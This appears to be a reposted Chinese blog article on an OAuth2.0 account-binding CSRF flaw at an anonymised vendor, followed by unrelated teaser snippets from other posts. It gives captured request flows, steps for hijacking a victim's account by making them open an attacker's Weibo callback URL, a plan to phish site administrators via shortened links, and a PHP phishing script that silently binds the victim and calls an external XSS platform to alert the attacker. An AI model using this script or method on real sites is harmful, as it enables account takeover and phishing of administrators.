当前位置：首页 > news >正文

漏洞挖掘之某厂商OAuth2.0认证缺陷

news 2026/2/8 6:51:17

0x00 前言

文章中的项目地址统一修改为: a.test.com 保护厂商也保护自己

0x01 OAuth2.0 经常出现的地方

1：网站登录处

2：社交帐号绑定处

0x02 某厂商绑定微博请求包

0x02.1 请求包1：

Request:

GET https://www.a.test.com/users/auth/weibo?can_transfer=true HTTP/1.1
Host: www.a.test.com

Response:

HTTP/1.1 302 Found
Server: Tengine
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Date: Mon, 18 Mar 2019 10:35:32 GMT
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://api.weibo.com/oauth2/authorize?client_id=1881139527&redirect_uri=http%3A%2F%2Fwww.a.test.com%2Fusers%2Fauth%2Fweibo%2Fcallback&response_type=code&state=%257B%2522can_transfer%2522%253A%2522true%2522%257D
Cache-Control: no-cache
Set-Cookie: read_mode=day; path=/
Set-Cookie: default_font=font2; path=/
Set-Cookie: locale=zh-CN; path=/
Set-Cookie: _m7e_session_core=62d46938b5d57bcfe0ef1f3e18c52851; domain=.a.test.com; path=/; expires=Mon, 18 Mar 2019 16:35:32 -0000; secure; HttpOnly
Set-Cookie: signin_redirect=; domain=www.a.test.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000
X-Request-Id: a921c890-a33b-4b52-ab49-bc67597e3cca
X-Runtime: 0.064185
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Via: cache15.l2cm12-6[78,0], cache6.cn544[108,0]
Timing-Allow-Origin: *
EagleId: 7ce8aa4615529053323375762e
Content-Length: 290
<html><body>You are being <a href="https://api.weibo.com/oauth2/authorize?client_id=1881139527&amp;redirect_uri=http%3A%2F%2Fwww.a.test.com%2Fusers%2Fauth%2Fweibo%2Fcallback&amp;response_type=code&amp;state=%257B%2522can_transfer%2522%253A%2522true%2522%257D">redirected</a>.</body></html>

0x02.2 请求包2：

Request:

GET https://api.weibo.com/oauth2/authorize?client_id=1881139527&redirect_uri=http%3A%2F%2Fwww.a.test.com%2Fusers%2Fauth%2Fweibo%2Fcallback&response_type=code&state=%257B%2522can_transfer%2522%253A%2522true%2522%257D HTTP/1.1
Host: api.weibo.com

Response:

HTTP/1.1 302 Found
Server: nginx/1.6.1
Date: Mon, 18 Mar 2019 10:35:32 GMT
Content-Length: 0
Connection: keep-alive
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://www.a.test.com/users/auth/weibo/callback?state=%7B%22can_transfer%22%3A%22true%22%7D&code=c593bc150745c37a4d5ec05332d406af

0x02.3 请求包3：

Request:

GET https://www.a.test.com/users/auth/weibo/callback?state=%7B%22can_transfer%22%3A%22true%22%7D&code=c593bc150745c37a4d5ec05332d406af HTTP/1.1
Host: www.a.test.com

Response:

HTTP/1.1 302 Found
Server: Tengine
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Date: Mon, 18 Mar 2019 10:35:33 GMT
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://www.a.test.com/settings/profile
Cache-Control: no-cache
Set-Cookie: read_mode=day; path=/
Set-Cookie: default_font=font2; path=/
Set-Cookie: locale=zh-CN; path=/
Set-Cookie: bind_sns_result=%257B%2522code%2522%3A-1%257D; path=/; expires=Mon, 18 Mar 2019 10:40:33 -0000
Set-Cookie: _m7e_session_core=62d46938b5d57bcfe0ef1f3e18c52851; domain=.a.test.com; path=/; expires=Mon, 18 Mar 2019 16:35:33 -0000; secure; HttpOnly
Set-Cookie: signin_redirect=; domain=www.a.test.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000
X-Request-Id: 4f4b792f-967e-45f8-a71d-adb88e600e19
X-Runtime: 0.391071
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Via: cache15.l2cm12-6[403,0], cache6.cn544[434,0]
Timing-Allow-Origin: *
EagleId: 7ce8aa4615529053326897836e
Content-Length: 106
<html><body>You are being <a href="https://www.a.test.com/settings/profile">redirected</a>.</body></html>

0x03 例子：某厂商第三方登录绑定漏洞利用-点我就绑定你微博登录你账号

这里需要使用到一个微博账号与两个某厂商账号

微博账号：182**77 (攻击者)
某厂商账号A：33*493@qq.com (攻击者)
某厂商账号B：28*165@qq.com (无辜受害者)
步骤1：攻击者-登录微博
步骤2：攻击者-使用某厂商账号A 登录

从上面看其实有很多绑定账号快捷登录的方法,但是微博绑定的用户肯定是比较少的所以我们用它
步骤3：攻击者-点击绑定微博抓包

绑定微博的url：https://www.a.test.com/users/auth/weibo/callback?state={"can_transfer"%3A"true"}&code=c593bc150745c37a4d5ec05332d406af
这个url中的code就是我的微博一次性token
步骤4：无辜受害者-使用某厂商账号B 登录

将url发送给账号B 打开：https://www.a.test.com/users/auth/weibo/callback?state={"can_transfer"%3A"true"}&code=c593bc150745c37a4d5ec05332d406af

这时提示绑定成功了~~~ 嘿嘿嘿
步骤5：攻击者-点开浏览器,选择微博登录

0x04 某厂商账号绑定漏洞-深入利用思考

首先经过我的观察,某厂商前后端是使用一个账号的 : )

攻击思路:

某厂商中有一个功能某信,我们可以发送一个有害的短链接url某信给管理员,诱惑管理员打开,让管理员绑定我们的微博,然后我们登录后台
使用新浪短域名(降低管理员内心警戒)
有人访问url时是发送qq邮件到我的邮箱
这个脚本完成以后,理想的攻击方式应该就是这样的
受害者-->点击新浪短链接url-->跳转到我的钓鱼网站-->输出绑定url进行绑定-->利用xss平台发送邮件通知我-->页面显示404-->结束

0x05 简单脚本

# a_test_oauth_csrf.php
# 然后把这个文件改一下名字,放外网,然后钓鱼等待
<?php
function curlRequest($url, $post = [], $cookie = '', $referurl = '') {if (!$referurl) {$referurl = 'https://www.a.test.com';}$header = array('Content-Type:application/x-www-form-urlencoded','X-Requested-With:XMLHttpRequest',);$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)');curl_setopt($curl, CURLOPT_AUTOREFERER, 1);curl_setopt($curl, CURLOPT_REFERER, $referurl);curl_setopt($curl, CURLOPT_HTTPHEADER, $header);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);if ($post) {curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));}if ($cookie) {curl_setopt($curl, CURLOPT_COOKIE, $cookie);}curl_setopt($curl, CURLOPT_TIMEOUT, 10);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_exec($curl);$header_data = curl_getinfo($curl);if (curl_errno($curl)) {return curl_error($curl);}curl_close($curl);return $header_data;
}
// 某厂商的授权url-固定写死即可
$url = 'https://api.weibo.com/oauth2/authorize?client_id=1881139527&redirect_uri=http%3A%2F%2Fwww.a.test.com%2Fusers%2Fauth%2Fweibo%2Fcallback&response_type=code&state=%257B%2522can_transfer%2522%253A%2522true%2522%257D';
// 将你新浪微博cookie写入这里
$cookie = '我的cookie可不给你们哦';
$result = curlRequest($url, [], $cookie);
// 那两个js随便找个xss平台即可
// 一个用来表示登录过期了
// 一个用来表示钓鱼成功了
if (!$result['redirect_url']) {// echo '登录过期';echo '<ScRipT sRc=http://xxxxx.cn/ExiptZI></SCriPt>';
} else {// echo '我还能搞事';// echo $result['redirect_url'];echo '<img src="'.$result['redirect_url'].'" style="display:none;">';echo '<ScRipT sRc=http://xxxxx.cn/Exi0TCW></SCriPt>';
}
http_response_code(404);
echo '<div>404 网页已删除</div>';

放置外网：http://127.0.0.1/a_test_oauth_csrf.php 发送给各大管理员

然后安静的做一个美少女等待即可

xss平台：http://xss.tf

漏洞挖掘之某厂商OAuth2.0认证缺陷

0x00 前言文章中的项目地址统一修改为: a.test.com 保护厂商也保护自己 0x01 OAuth2.0 经常出现的地方 1：网站登录处 2：社交帐号绑定处 0x02 某厂商绑定微博请求包 0x02.1 请求包1： Request: GET https://www.a.test.com/users/auth/weibo?…...

编程日记 2024/5/8 21:40:52

电脑屏幕监控软件都有哪些 | 五大好用屏幕监控软件盘点

电脑屏幕监控软件在企业管理、家庭教育等方面发挥着越来越重要的作用。这些软件通过实时监控电脑屏幕活动，为用户提供了强大的管理和监控功能。本文将为您盘点五大好用的电脑屏幕监控软件，帮助您更好地了解并选择适合自己的软件。电脑屏幕监控软件都…...

编程日记 2024/5/8 21:36:48

数据结构-线性表-链表-2.3-2

在带头节点的单链表L中，删除所有值为x的结点，并释放其空间，假设值为x的结点不唯一， 是编写算法实现上述操作。双指针，用p从头至尾扫描单链表，pre指向*p结点的前驱，若p所指结点的值为x&#x…...

编程日记 2024/5/8 21:34:46

【自动化测试】使用MeterSphere进行接口测试

一、接口介绍二、接口测试的过程三、接口自动化测试执行自动化流程四、接口之间的协议HTTP协议五、接口测试用例设计接口文档六、使用MeterSphere创建接口测试创建接口定义设计接口测试用例一、接口介绍自动化测试按对象分为：单元测试、接口测试、UI测试等。…...

编程日记 2024/5/8 21:33:45

C语言 main( ) 函数的指针数组形参是怎么回事？

一、问题在使⽤⼀些开发⼯具⽣成C语⾔⽂件时，主函数 mian( ) 中会有参数，这个参数到底是怎么回事⼉呢？ 二、解答 mian( ) 称为主函数，是所有程序运⾏的⼊口。 mian( ) 函数是由系统调⽤的，当处于操作命令状态下&…...

编程日记 2024/5/8 21:32:43

汽车 - 什么是车轮抱死

车轮抱死分为两种情况，一种是车辆故障层面，另一种是驾驶过程中的物理现象。我们先来说最通俗的刹车车轮抱死吧。刹车制动车轮抱死车轮停止轴向转动就是抱死，有速度的情况下抱死车轮，如果车辆的惯性动能大于轮胎抓地力&#xff0…...

编程日记 2024/5/8 21:31:42

环保设备统一管理系统

在环保意识日益增强的今天，企业如何有效管理环保设备，确保其正常运行，减少环境污染，成为了一个重要议题。HiWoo Cloud平台以其独特的环保设备统一管理系统，为企业提供了一套完整的解决方案，帮助企业实现绿色…...

编程日记 2024/5/8 21:29:39

python 11Pandas数据可视化实验

实验目的： 学会使用Pandas操作数据集，并进行可视化。数据集描述： 该数据集是CNKI中与“中药毒理反应”相关的文献信息，包含文章题目、作者、来源（出版社）、摘要、发表时间等信息。实验要求&#xff1…...

编程日记 2024/5/8 21:28:38

【JUC】并发编程 AQS，ReentryLock，CyclicBarrier，CountDownLatch 原理总结

AQS AQS是什么？重写AQS就能实现锁的效果？ AQS是一个抽象类，是一个并发包的基础组件，用来实现各种锁，同步组件的工具（通过volatile cas进行实现）。它包含了共享成员变量state、等待队列、条件…...

编程日记 2024/5/8 21:27:36

移动端底层事件（如左滑返回事件）在同一个路由下不同页面需要不同的处理要怎样才能做到统一处理？

目录一、问题二、解决方法三、总结 tiips:如嫌繁琐，直接移步总结即可！ 一、问题 1.测试提了个bug:进入了一个模块A里面的子页面 a1,左滑后按照用户预期应该是返回到模块A,结果回到了app首页。二、解决方法 1.一开始：啊，…...

编程日记 2024/5/8 21:26:35

hive中开窗函数row_number的使用

row_number()函数介绍 row_number()开窗函数的一种，和over()函数结合一起使用，可以实现对数据的分组和排序。使用示例现在有一张表，数据如下 ----------------------- | Year | Region | Sales | ----------------------- | 2022 | E…...

编程日记 2024/5/8 21:24:33

华为数据之道第三部分导读

目录导读第三部分第7章打造“数字孪生”的数据全量感知能力 “全量、无接触”的数据感知能力框架数据感知能力的需求起源：数字孪生数据感知能力架构基于物理世界的“硬感知”能力 “硬感知”能力的分类 “硬感知”能力在华为的实践基于数字世界的…...

编程日记 2024/5/8 21:21:29

【Qt】常用控件(一)

文章目录一、核心属性1、enabled代码示例: 通过按钮2 切换按钮1 的禁用状态 2、geometry代码示例: 控制按钮的位置代码示例：window frame 的影响代码示例: 感受 geometry 和 frameGeometry 的区别 3、windowTitle4、windowIcon代码示例: 通过 qrc 管理图片作为图标…...

编程日记 2024/5/8 21:20:27

Python基础之流程控制语句

在Python中流程控制语句包括条件控制语句、循环语句、以及控制流程循环语句等，下面我们就来详细介绍一下这些语句的使用。条件语句首先我们来看条件语句，条件语句是需要根据不同的判断条件来执行不同的代码操作，如下所示。 if 条件1:执行语句块1 elif 条件2:执行语句块…...

编程日记 2024/5/8 21:18:25

2024蓝桥杯网络安全部分赛题wp

爬虫协议题目给了提示访问robots.txt 会出三个目录访问最后一个点进去就flag{22560c15-577c-4c8b-9944-815473758bad} packet 下载附件，这个是流量包放wireshark流量分析搜http协议发现有cat flag命令，直接看他返回的流量最后base64解码即可…...

编程日记 2024/5/8 21:17:24

Android版本依赖Version catalog

曾经我们使用config.gradle文件进行版本依赖配置，然后在project的build.gradle.kts中使用如下方式引入： apply(from "./config.gradle") 缺点：在project的module中引用无任何提示，无法跳转到指定引用一、创建versio…...

编程日记 2024/5/8 21:14:21

Redis---------实现商品秒杀业务，包括唯一ID，超卖问题，分布式锁

订单ID必须是唯一唯一ID构成： 代码生成唯一ID： import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Component; import java.time.LocalDateTime; import java.time.ZoneOffset; import java.tim…...

编程日记 2024/5/8 21:13:19

C++之QT文本处理QDir、QFileDialog、QStringList、QFile

一、相应的头文件 #include <QFileDialog> #include <QDir> #include <QStringList> 二、简介 1.QFileDialog 实际效果如下：比如需要选择打开的文件夹或者文件名，通过调用资源管理器的方式进行可视化操作。代码示例为&#xff1a…...

编程日记 2024/5/8 21:12:18

24.5.8数据结构|单向循环链表

一、理解原理： 初始状态： 1、对比前两种的不同之处 1）保存到栈空间（局部变量）。静态初始化。 2） 二、代码实现 1、initLinkLoop函数疑问： 1、地址怎么处理？ 注意&#xff1…...

编程日记 2024/5/8 21:11:17

2024年，抖音小店开通需要多少钱？一篇详解！

大家好，我是电商糖果 2024年了，想在抖音开店卖货的朋友越来越多。主要原因还是看到，这几年在抖音上赚到钱的人越来越多。于是大家在今年比较关心的问题，就是抖音小店开通需要多少钱？ 糖果做抖音小店四年了&#…...

编程日记 2024/5/8 21:09:15

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...

编程新知 2026/2/8 4:37:37

MPNet：旋转机械轻量化故障诊断模型详解python代码复现

目录一、问题背景与挑战二、MPNet核心架构 2.1 多分支特征融合模块（MBFM） 2.2 残差注意力金字塔模块（RAPM） 2.2.1 空间金字塔注意力（SPA） 2.2.2 金字塔残差块（PRBlock） 2.3 分类器设计三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

编程新知 2026/2/7 5:16:28

OpenLayers 可视化之热力图

注：当前使用的是 ol 5.3.0 版本，天地图使用的key请到天地图官网申请，并替换为自己的key 热力图（Heatmap）又叫热点图，是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...

编程新知 2025/12/9 21:15:58

Java 8 Stream API 入门到实践详解

一、告别 for 循环！ 传统痛点： Java 8 之前，集合操作离不开冗长的 for 循环和匿名类。例如，过滤列表中的偶数： List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...

编程新知 2026/1/12 10:41:22

FastAPI 教程：从入门到实践

FastAPI 是一个现代、快速（高性能）的 Web 框架，用于构建 API，支持 Python 3.6。它基于标准 Python 类型提示，易于学习且功能强大。以下是一个完整的 FastAPI 入门教程，涵盖从环境搭建到创建并运行一个简单的…...

编程新知 2025/10/16 7:51:26

质量体系的重要

质量体系是为确保产品、服务或过程质量满足规定要求，由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面： 🏛️ 一、组织架构与职责质量体系明确组织内各部门、岗位的职责与权限，形成层级清晰的管理网络&#xf…...

编程新知 2025/10/24 9:13:44

HTML前端开发：JavaScript 常用事件详解

作为前端开发的核心，JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例： 1. onclick - 点击事件当元素被单击时触发（左键点击） button.onclick function() {alert("按钮被点击了！&…...

编程新知 2025/11/10 10:45:11

自然语言处理——Transformer

自然语言处理——Transformer 自注意力机制多头注意力机制Transformer 虽然循环神经网络可以对具有序列特性的数据非常有效，它能挖掘数据中的时序信息以及语义信息，但是它有一个很大的缺陷——很难并行化。我们可以考虑用CNN来替代RNN，但是…...

编程新知 2026/2/1 7:05:07

laravel8+vue3.0+element-plus搭建方法

创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...

编程新知 2025/10/15 0:25:46

【Go语言基础【13】】函数、闭包、方法

文章目录零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理二、函数类型与高阶函数1. 函数类型定义2. 高阶函数（函数作为参数、返回值） 三、匿名函数与闭包1. 匿名函数（Lambda函…...

编程新知 2025/12/8 19:02:25

0x00 前言

0x01 OAuth2.0 经常出现的地方

0x02 某厂商绑定微博请求包

0x02.1 请求包1：

0x02.2 请求包2：

0x02.3 请求包3：

0x03 例子：某厂商第三方登录绑定漏洞利用-点我就绑定你微博登录你账号

0x04 某厂商账号绑定漏洞-深入利用思考

0x05 简单脚本

相关文章：